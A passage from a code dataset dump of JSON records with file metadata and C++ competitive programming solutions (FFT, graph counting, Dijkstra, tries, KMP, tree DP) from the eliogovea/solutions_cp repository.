dp[total][lastStack][odd]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint answer = 0;\r\n\tfor (int lastStack = 1; lastStack <= n; lastStack++) {\r\n\t\tadd(answer, dp[n][lastStack][1]);\r\n\t}\r\n\tcout << answer << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.33213159441947937, "alphanum_fraction": 0.3528616428375244, "avg_line_length": 19.357797622680664, "blob_id": "9c87d7742f0702b5caf56fdb6a5c9ac76aa0b93c", "content_id": "3987a98793716a8e34a7d1bcc48273b5ff0a7407", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2219, "license_type": "no_license", "max_line_length": 116, "num_lines": 109, "path": "/Caribbean-Training-Camp-2018/Contest_4/Solutions/B4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\nusing namespace std;\ntypedef long long ll;\ntypedef complex<long double> Complex;\nconst double PI = acos(-1);\n\nvoid fft( vector<Complex> &a, int n, int dir ){\n\n int lg = 0;\n while( n > (1<<lg) ) lg++;\n\n assert( n == (1<<lg) );\n\n for( int i = 0; i < n; i++ ){\n int pos = 0;\n for( int j = 0; j < lg; j++ ){\n pos <<= 1;\n pos |= (i>>j) & 1;\n }\n\n if( i < pos ){\n swap( a[i], a[pos] );\n }\n }\n\n for( int i = 1; i <= lg; i++ ){\n\n int m = 1<<i;\n int k = m>>1;\n Complex w, wn, u, t;\n wn = Complex( cos( (long double)dir*2.0*PI/(long double)m), sin( (long double)dir*2.0*PI/(long double)m ) );\n\n for( int j = 0; j < n; j += m ){\n w = Complex( 1.0, 0.0 );\n for( int l = j; l < j+k; l++ ){\n t = w*a[l+k];\n u = a[l];\n a[l] = u + t;\n a[l+k] = u - t;\n w *= wn;\n }\n }\n\n }\n if( dir == -1 ){\n for( int i = 0; i < n; i++ ){\n a[i] /= (long double)n;\n\n }\n\n }\n\n}\n\nvector <int> mul(vector <int> &a, vector <int> & b) {\n vector <int> res(a.size() + b.size() - 1);\n for (int i = 0; i < a.size(); i++) {\n for (int j = 0; j < b.size(); j++) {\n res[i + j] += a[i] * b[j];\n }\n }\n return res;\n}\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen( \"dat.txt\", \"r\", stdin );\n\n string s;\n cin >> s;\n\n int n = 1;\n while (n < 2 * s.size() - 1) {\n n <<= 1;\n }\n/*\n vector <int> T(n);\n for (int i = 0; i < n; i++) {\n T[i] = s[i] - '0';\n }\n\n T = mul(T, T);\n for (int i = 0; i < T.size(); i++) {\n cerr << T[i] << \" \";\n }\n cerr << \"\\n\";\n*/\n vector <Complex> P(n);\n for (int i = 0; i < s.size(); i++) {\n P[i] = (int)(s[i] - '0');\n }\n\n fft(P, n, 1);\n for (int i = 0; i < n; i++) {\n P[i] *= P[i];\n }\n fft(P, n, -1);\n\n long long ans = 0;\n for (int i = 0; i < s.size(); i++) {\n if (s[i] == '1') {\n ans += ((long long)round(P[2 * i].real()) - 1LL) / 2LL;\n }\n }\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.41630277037620544, "alphanum_fraction": 0.44614264369010925, "avg_line_length": 17.078947067260742, "blob_id": "028f6d5176212b83cd04ef74134acfc553ae9c86", "content_id": "d98dbba5a8581810e1ec5c1b7c61d0c98d6dbb99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1374, "license_type": "no_license", "max_line_length": 97, "num_lines": 76, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/G3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 310;\nconst int mod = 998244353;\n\nint add( int a, int b ){\n a += b;\n if( a >= mod ) a -= mod;\n return a;\n}\n\nint rest( int a, int b ){\n a -= b;\n if( a < 0 ) a += mod;\n return a;\n}\n\nint mult( int a, int b ){\n return (ll)a * b % mod;\n}\n\nint bpow( int b, int exp ){\n if( exp == 0 ) return 1;\n if( exp == 1 ) return b;\n int sol = bpow( b , exp/2 );\n sol = mult( sol, sol );\n if( exp & 1 ) sol = mult( sol , b );\n return sol;\n}\n\nint f[MAXN];\nvoid calc_fact( int n ){\n f[0] = 1;\n for( int i = 1; i <= n; i++ ) f[i] = mult( f[i-1] , i );\n}\n\nint comb( int n, int k ){\n return mult( f[n] , bpow( mult( f[k] , f[n-k] ) , mod-2 ) );\n}\n\nint disc[MAXN], con[MAXN];\n\ninline int tot( int n ){\n return bpow( 2 , n * (n-1) / 2 );\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n const int N = 300;\n\n calc_fact(N);\n\n disc[0] = 1;\n disc[1] = 0;\n con[1] = 1;\n for( int n = 2; n <= N; n++ ){\n disc[n] = 0;\n for( int j = 1; j < n; j++ ){\n disc[n] = add( disc[n] , mult( comb( n-1 , j-1 ) , mult( con[j] , tot( n - j ) ) ) );\n }\n con[n] = rest( tot(n) , disc[n] );\n }\n\n int n;\n while (cin >> n) {\n cout << con[n] << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.48349228501319885, "alphanum_fraction": 0.5018342137336731, "avg_line_length": 15.474358558654785, "blob_id": "04421dc8edab3983af23225236fdefe3028d0c74", "content_id": "3366add2340e79588f9cbdc707ea8375ef43e205", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1363, "license_type": "no_license", "max_line_length": 51, "num_lines": 78, "path": "/COJ/eliogovea-cojAC/eliogovea-p1859-Accepted-s548812.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#include<stack>\r\n#define MAXN 50010\r\n#define MAXK 1010\r\n#define INF 1<<29\r\nusing namespace std;\r\n\r\ntypedef pair<pair<int,int>,int> ppii;\r\n\r\nint N,K;\r\nint padre[MAXK];\r\nbool mark[MAXK];\r\npair<int,int> dist[MAXK];\r\nvector<int> G[MAXK];\r\nvector<int>::iterator it;\r\npriority_queue<ppii,vector<ppii>,greater<ppii> > Q;\r\nstack<int> ans;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&N,&K);\r\n\r\n\tfor(int i=1,x,y; i<=N; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\",&x,&y);\r\n\t\tG[x].push_back(y);\r\n\r\n\t}\r\n\r\n\tfor(int i=2; i<=K; i++)\r\n\t\tdist[i]=make_pair(INF,INF);\r\n\r\n\tQ.push(make_pair(make_pair(0,0),1));\r\n\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tint nodo=Q.top().second;\r\n\t\tint distn=Q.top().first.first;\r\n\t\tint sum=Q.top().first.second;\r\n\r\n\t\tQ.pop();\r\n\r\n\t\tif(mark[nodo])continue;\r\n\t\tmark[nodo]=1;\r\n\r\n\t\tfor(it=G[nodo].begin(); it!=G[nodo].end(); it++)\r\n\t\t\tif(dist[*it] > make_pair(distn+1,sum+*it))\r\n\t\t\t{\r\n\t\t\t\tpadre[*it]=nodo;\r\n\t\t\t\tdist[*it] = make_pair(distn+1,sum+*it);\r\n\t\t\t\tQ.push(make_pair(dist[*it],*it));\r\n\t\t\t}\r\n\r\n\t}\r\n\r\n if(dist[K].first==1<<29)\r\n printf(\"-1\\n\");\r\n else\r\n {\r\n while(K)\r\n {\r\n ans.push(K);\r\n K=padre[K];\r\n }\r\n\r\n printf(\"%d\\n\",ans.size());\r\n\r\n while(ans.size())\r\n {\r\n printf(\"%d\\n\",ans.top());\r\n ans.pop();\r\n }\r\n }\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.41228780150413513, "alphanum_fraction": 0.43896523118019104, "avg_line_length": 16.46268653869629, "blob_id": "79950da5feb26359d440eefb9cb448065b501a5c", "content_id": "cf1990d112dd666f0b39112e41ba865c943210c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1237, "license_type": "no_license", "max_line_length": 46, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p1228-Accepted-s647990.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 200005, alph = 26;\r\n\r\nstruct vertex {\r\n\tint fin;\r\n\tint next[alph];\r\n\tvertex() {\r\n\t\tfin = -1;\r\n\t\tfor (int i = 0; i < alph; i++) next[i] = -1;\r\n\t}\r\n} T[MAXN];\r\n\r\nint n, states = 1;\r\n\r\nvector<string> words;\r\nstring str;\r\n\r\nvoid add(int p) {\r\n\tconst string &s = words[p];\r\n\tint v = 0;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tchar c = s[i] - 'a';\r\n\t\tif (T[v].next[c] == -1)\r\n\t\t\tT[v].next[c] = states++;\r\n\t\tv = T[v].next[c];\r\n\t}\r\n\tT[v].fin = p;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> str) {\r\n\t\twords.push_back(str);\r\n\t\tadd(n++);\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint v1 = 0;\r\n\t\tbool comp = false;\r\n\t\tconst string &s = words[i];\r\n\t\tfor (int j = 0; s[j + 1] && !comp; j++) {\r\n\t\t\tchar c = s[j] - 'a';\r\n\t\t\tv1 = T[v1].next[c];\r\n\t\t\tif (T[v1].fin != -1) {\r\n\t\t\t\tint v2 = 0;\r\n\t\t\t\tbool ok = true;\r\n\t\t\t\tint k = j + 1;\r\n\t\t\t\tfor (; s[k]; k++) {\r\n\t\t\t\t\tchar cc = s[k] - 'a';\r\n\t\t\t\t\tif (T[v2].next[cc] == -1) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tv2 = T[v2].next[cc];\r\n\t\t\t\t}\r\n\t\t\t\tif (ok && (T[v2].fin != -1))\r\n comp = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (comp) cout << s << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3839050233364105, "alphanum_fraction": 0.4023746848106384, "avg_line_length": 15.227272987365723, "blob_id": "f5b63cd832e3ca4777c72863e5d2f38746798b2a", "content_id": "8e0f3ec2c2932f9fff443c3f5638d72e8b219413", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 758, "license_type": "no_license", "max_line_length": 42, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p1455-Accepted-s785131.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nlong long a, b, ans;\r\nvector<long long> f;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> a >> b;\r\n\tfor (int i = 2; i * i <= n; i++) {\r\n\t\tif (n % i == 0) {\r\n\t\t\tf.push_back(i);\r\n\t\t\twhile (n % i == 0) {\r\n\t\t\t\tn /= i;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (n > 1) {\r\n\t\tf.push_back(n);\r\n\t}\r\n\tint sz = f.size();\r\n\tfor (int i = 1; i < (1 << sz); i++) {\r\n\t\tlong long cur = 1;\r\n\t\tbool par = 1;\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tif (i & (1 << j)) {\r\n\t\t\t\tcur *= f[j];\r\n\t\t\t\tpar ^= 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tlong long tmp = b / cur - (a - 1) / cur;\r\n\t\tif (par) {\r\n\t\t\tans -= tmp;\r\n\t\t} else {\r\n\t\t\tans += tmp;\r\n\t\t}\r\n\t}\r\n\tans = b - a + 1LL - ans;\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4519670605659485, "alphanum_fraction": 0.47209516167640686, "avg_line_length": 20.306121826171875, "blob_id": "eaa5a15ef5e73b805e5cdd5f15c93fba9cfce7f9", "content_id": "759b11897394c3d0253e0478a7c052c46d7586a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1093, "license_type": "no_license", "max_line_length": 48, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3046-Accepted-s725705.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <vector>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nvector<int> a, b, da, db, v, pi;\r\n\r\nvoid fd(vector<int> &x, vector<int> &dx) {\r\n\tdx.clear();\r\n\tsort(x.begin(), x.end());\r\n\tdx.push_back(360000 - (x[n - 1] - x[0]));\r\n\tfor (int i = 1; i < n; i++)\r\n\t\tdx.push_back(x[i] - x[i - 1]);\r\n}\r\n\r\nint main() {\r\n //freopen(\"dat.in\", \"r\", stdin);\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\tcin >> n;\r\n\ta.resize(n);\r\n\tb.resize(n);\r\n\tfor (int i = 0; i < n; i++) cin >> a[i];\r\n\tfor (int i = 0; i < n; i++) cin >> b[i];\r\n\tfd(a, da);\r\n\tfd(b, db);\r\n\tfor (int i = 0; i < n; i++) v.push_back(da[i]);\r\n\tv.push_back(-1);\r\n\tfor (int i = 0; i < n; i++) v.push_back(db[i]);\r\n\tfor (int i = 0; i < n; i++) v.push_back(db[i]);\r\n\tint sv = v.size();\r\n\tpi.resize(sv + 5);\r\n\tbool ok = false;\r\n\tfor (int i = 1; i < sv; i++) {\r\n\t\tint j = pi[i - 1];\r\n\t\twhile (j > 0 && v[i] != v[j]) j = pi[j - 1];\r\n\t\tif (v[i] == v[j]) j++;\r\n\t\tpi[i] = j;\r\n\t\tif (j == n) {\r\n\t\t\tok = true;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tif (ok) cout << \"possible\\n\";\r\n\telse cout << \"impossible\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3780718445777893, "alphanum_fraction": 0.42155009508132935, "avg_line_length": 19.15999984741211, "blob_id": "2498247098be6da368d2f27dc70db16c268ad21f", "content_id": "fe190a45fa5e74ab7cef4af96d80aa0792402178", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 529, "license_type": "no_license", "max_line_length": 45, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2798-Accepted-s615850.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ntypedef long long ll;\r\n\r\nint tc, x, y, sol;\r\nll dp[100][20], ac[100];\r\n\r\nconst int MAXN = 64;\r\n\r\nint main() {\r\n\tfor (int i = 0; i <= 9; i++) dp[1][i] = 1ll;\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tfor (int j = 0; j <= 9; j++)\r\n\t\t\tfor (int k = j; k <= 9; k++)\r\n\t\t\t\tdp[i + 1][k] += dp[i][j];\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tfor (int j = 0; j <= 9; j++)\r\n\t\t\tac[i] += dp[i][j];\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tll a, b, sol = 0;\r\n\t\tscanf(\"%lld%lld\", &a, &b);\r\n\t\tprintf(\"%lld %lld\\n\", a, ac[b]);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4275861978530884, "alphanum_fraction": 0.4482758641242981, "avg_line_length": 16.125, "blob_id": "0564b708a70d86ced96ed7f0181d64862689e81a", "content_id": "ea8aaa6787cbbca496fef7b0b699979822d77f87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 435, "license_type": "no_license", "max_line_length": 51, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3019-Accepted-s702475.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, a[55], b[55], ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tb[i] = a[i];\r\n\t\t}\r\n\t\tsort(b, b + n);\r\n\t\tans = 0;\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tans += abs(lower_bound(b, b + n, a[i]) - b - i);\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.29004940390586853, "alphanum_fraction": 0.3267466425895691, "avg_line_length": 23.303571701049805, "blob_id": "4c38272fbf3dcb36cc42b14e1f4e8c07f136cbd4", "content_id": "03e299f4c1f497df2e77eaa81d909863199819b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1417, "license_type": "no_license", "max_line_length": 78, "num_lines": 56, "path": "/COJ/eliogovea-cojAC/eliogovea-p2934-Accepted-s672383.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2934.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description :\r\n//============================================================================\r\n\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nconst int dx[] = {1, 0, -1, 0};\r\nconst int dy[] = {0, 1, 0, -1};\r\n\r\nconst int MAXN = 200;\r\n\r\nint n, r, c;\r\ndouble dp[2 * MAXN + 5][MAXN + 5][MAXN + 5], ans;\r\n\r\nint main() {\r\n\twhile (scanf(\"%d%d%d\", &n, &r, &c) && (n | r | c)) {\r\n\t\tif ((r + c) & 1) {\r\n\t\t\tprintf(\"Infinite\\n\");\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tfor (int i = 0; i <= 2 * n; i++)\r\n\t\t\tfor (int j = 0; j <= n; j++)\r\n\t\t\t\tfor (int k = 0; k <= n; k++)\r\n\t\t\t\t\tdp[i][j][k] = 0.0;\r\n\t\tans = 0.0;\r\n\t\tdp[0][r][c] = 1.0;\r\n\t\tfor (int i = 0; i < 2 * n; i++)\r\n\t\t\tfor (int j = 1; j <= n; j++)\r\n\t\t\t\tfor (int k = 1; k <= n; k++) {\r\n\t\t\t\t\tint cnt = 4;\r\n\t\t\t\t\tif (j == 1 || j == n) cnt--;\r\n\t\t\t\t\tif (k == 1 || k == n) cnt--;\r\n\t\t\t\t\tdouble p = 1.0 / (double)cnt;\r\n\t\t\t\t\tif (j - 1 + k - 1 > i)\r\n\t\t\t\t\t\tfor (int l = 0; l < 4; l++) {\r\n\t\t\t\t\t\t\tint a = j + dx[l];\r\n\t\t\t\t\t\t\tint b = k + dy[l];\r\n\t\t\t\t\t\t\tif (a >= 1 && a <= n && b >= 1 && b <= n)\r\n\t\t\t\t\t\t\t\tdp[i + 1][a][b] += p * dp[i][j][k];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tint aux = i - 1 + j - 1;\r\n\t\t\t\tans += double(aux) * dp[aux][i][j];\r\n\t\t\t}\r\n\t\tprintf(\"%.2lf\\n\", ans);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3173708915710449, "alphanum_fraction": 0.34960874915122986, "avg_line_length": 20.73469352722168, "blob_id": "d6d45ce960c4e2bdd8f5204692821471528a45aa", "content_id": "f455741a8a422ae8497eb2ab1134d5ea8ad682c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3195, "license_type": "no_license", "max_line_length": 134, "num_lines": 147, "path": "/Codeforces-Gym/101095 - 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)/R.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)\n// 101095R\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\ntypedef pair<string,string> par;\n\n// Piedra - 0\n// Tijera - 1\n// Papel - 2\n\nbool first( int a, int b ){\n if( a == 0 && b == 1 ){\n return true;\n }\n\n if( a == 1 && b == 0 ){\n return false;\n }\n\n if( a == 0 && b == 2 ){\n return false;\n }\n\n if( a == 2 && b == 0 ){\n return true;\n }\n\n if( a == 1 && b == 2 ){\n return true;\n }\n\n if( a == 2 && b == 1 ){\n return false;\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n map<par,int> dic;\n dic[ par( \"cs\" , \"Kamen\" ) ] = 0;\n dic[ par( \"cs\" , \"Nuzky\" ) ] = 1;\n dic[ par( \"cs\" , \"Papir\" ) ] = 2;\n\n dic[ par( \"en\" , \"Rock\" ) ] = 0;\n dic[ par( \"en\" , \"Scissors\" ) ] = 1;\n dic[ par( \"en\" , \"Paper\" ) ] = 2;\n\n dic[ par( \"fr\" , \"Pierre\" ) ] = 0;\n dic[ par( \"fr\" , \"Ciseaux\" ) ] = 1;\n dic[ par( \"fr\" , \"Feuille\" ) ] = 2;\n\n dic[ par( \"de\" , \"Stein\" ) ] = 0;\n dic[ par( \"de\" , \"Schere\" ) ] = 1;\n dic[ par( \"de\" , \"Papier\" ) ] = 2;\n\n dic[ par( \"hu\" , \"Ko\" ) ] = 0;\n dic[ par( \"hu\" , \"Koe\" ) ] = 0;\n dic[ par( \"hu\" , \"Ollo\" ) ] = 1;\n dic[ par( \"hu\" , \"Olloo\" ) ] = 1;\n dic[ par( \"hu\" , \"Papir\" ) ] = 2;\n\n dic[ par( \"it\" , \"Sasso\" ) ] = 0;\n dic[ par( \"it\" , \"Roccia\" ) ] = 0;\n dic[ par( \"it\" , \"Forbice\" ) ] = 1;\n dic[ par( \"it\" , \"Carta\" ) ] = 2;\n dic[ par( \"it\" , \"Rete\" ) ] = 2;\n\n dic[ par( \"jp\" , \"Guu\" ) ] = 0;\n dic[ par( \"jp\" , \"Choki\" ) ] = 1;\n dic[ par( \"jp\" , \"Paa\" ) ] = 2;\n\n dic[ par( \"pl\" , \"Kamien\" ) ] = 0;\n dic[ par( \"pl\" , \"Nozyce\" ) ] = 1;\n dic[ par( \"pl\" , \"Papier\" ) ] = 2;\n\n dic[ par( \"es\" , \"Piedra\" ) ] = 0;\n dic[ par( \"es\" , \"Tijera\" ) ] = 1;\n dic[ par( \"es\" , \"Papel\" ) ] = 2;\n\n string sa = \"\";\n\n int game = 0;\n\n while( sa != \".\" ){ game++;\n string c1, c2, n1, n2; cin >> c1 >> n1 >> c2 >> n2;\n\n int ca = 0, cb = 0;\n\n string sb;\n while( cin >> sa && ( sa != \"-\" && sa != \".\" ) ){\n cin >> sb;\n\n int a = dic[par(c1,sa)];\n int b = dic[par(c2,sb)];\n\n if( a != b ){\n if( first( a , b ) ){\n ca++;\n }\n else{\n cb++;\n }\n }\n }\n\n cout << \"Game #\" << game << \":\\n\";\n if( ca == 1 ){\n cout << n1 << \": \" << ca << \" point\\n\";\n }\n else{\n cout << n1 << \": \" << ca << \" points\\n\";\n }\n\n if( cb == 1 ){\n cout << n2 << \": \" << cb << \" point\\n\";\n }\n else{\n cout << n2 << \": \" << cb << \" points\\n\";\n }\n\n if( ca == cb ){\n cout << \"TIED GAME\\n\";\n }\n else{\n cout << \"WINNER: \";\n\n if( ca > cb ){\n cout << n1;\n }\n else{\n cout << n2;\n }\n\n cout << '\\n';\n }\n\n cout << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.41489362716674805, "alphanum_fraction": 0.47074466943740845, "avg_line_length": 15.090909004211426, "blob_id": "7566c359753336c6709624648deddc981be2bf95", "content_id": "ed0f696459d7d08ee3feea9812680c6b4e48f87e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 376, "license_type": "no_license", "max_line_length": 59, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p3247-Accepted-s797130.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst long long mod = 100000007;\r\n\r\nconst int N = 1000;\r\n\r\nint n;\r\nlong long dp[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\tdp[1] = 1;\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tdp[i] = (dp[i - 1] * i + ((i & 1) ? 1 : -1) + mod) % mod;\r\n\t}\r\n\twhile (cin >> n && n) {\r\n\t\tcout << dp[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.30758988857269287, "alphanum_fraction": 0.3435419499874115, "avg_line_length": 29.29166603088379, "blob_id": "5cf703172c33a056a94937f20806505e8aec4f0f", "content_id": "3b8b0b63161844e80ea5f6b488a5d6dbcced93d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 751, "license_type": "no_license", "max_line_length": 97, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1415-Accepted-s471333.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nfloat rec[10][4],x,y;\r\nchar c;\r\nint k,i=1;\r\n\r\nint main(){\r\n while(cin >> c && c!='*'){\r\n cin >> rec[k][0] >> rec[k][1] >> rec[k][2] >> rec[k][3];\r\n k++;\r\n }\r\n while(cin >> x >> y){\r\n if(x==9999.9f && y==9999.9f)break;\r\n bool b=1;\r\n for(int j=0; j<k; j++)if(x>rec[j][0] && x<rec[j][2] && y<rec[j][1] && y>rec[j][3]){\r\n cout << \"Point \" << i << \" is contained in figure \" << j+1 << endl;\r\n b=0;\r\n } \r\n if(b)cout << \"Point \" << i << \" is not contained in any figure\" << endl;\r\n i++;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3968636989593506, "alphanum_fraction": 0.4161640405654907, "avg_line_length": 13.942307472229004, "blob_id": "5d84490f81ac1721cd60cea171f7fb26823ba36c", "content_id": "5dac1620086d6925102a07c971759cbc2a2ff18b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 829, "license_type": "no_license", "max_line_length": 51, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p4043-Accepted-s1294964.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n;\r\n\tcin >> n;\r\n\r\n\tvector <int> f(n), t(n);\r\n\tvector <vector <int>> adj(n);\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> f[i] >>t[i];\r\n\t\tf[i]--;\r\n\t\tif (f[i] >= 0) {\r\n\t\t\tadj[f[i]].push_back(i);\r\n\t\t}\r\n\t}\r\n\r\n\tvector <vector <int>> cnt(n, vector <int> (2, 0));\r\n\r\n\tvector <int> dp(n);\r\n\r\n\tfunction <void(int)> dfs = [&](int u) {\r\n\t\tcnt[u][t[u]]++;\r\n\t\tfor (auto v : adj[u]) {\r\n\t\t\tdfs(v);\r\n\t\t\tcnt[u][0] += cnt[v][0];\r\n\t\t\tcnt[u][1] += cnt[v][1];\r\n\t\t}\r\n\r\n\t\tint x = 0;\r\n\t\tfor (auto v : adj[u]) {\r\n\t\t\tx += dp[v];\r\n\t\t}\r\n\t\tdp[u] = max(0, max(cnt[u][1] - cnt[u][0], x));\r\n\t};\r\n\r\n\tint answer = 0;\r\n\r\n\tfor (int u = 0; u < n; u++) {\r\n\t\tif (f[u] == -1) {\r\n\t\t\tdfs(u);\r\n\t\t\tanswer += dp[u];\r\n\t\t}\r\n\t}\r\n\r\n\tcout << answer << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.41845765709877014, "alphanum_fraction": 0.4525916576385498, "avg_line_length": 18.8157901763916, "blob_id": "1ba953ec1a05ab2e9c4c54638a6e098f4f57fed6", "content_id": "f01a71d0b0f6437171b285683dd5624daa05516d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 791, "license_type": "no_license", "max_line_length": 58, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2826-Accepted-s607769.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 100010, mod = 1000000007;\r\n\r\nint n, dp[MAXN];\r\nchar str[25], text[MAXN];\r\n\r\nstruct node {\r\n\tnode *next[26];\r\n\tbool fin;\r\n} root;\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tscanf(\"%s\", str);\r\n\t\tnode *ptr = &root;\r\n\t\tfor (char *p = 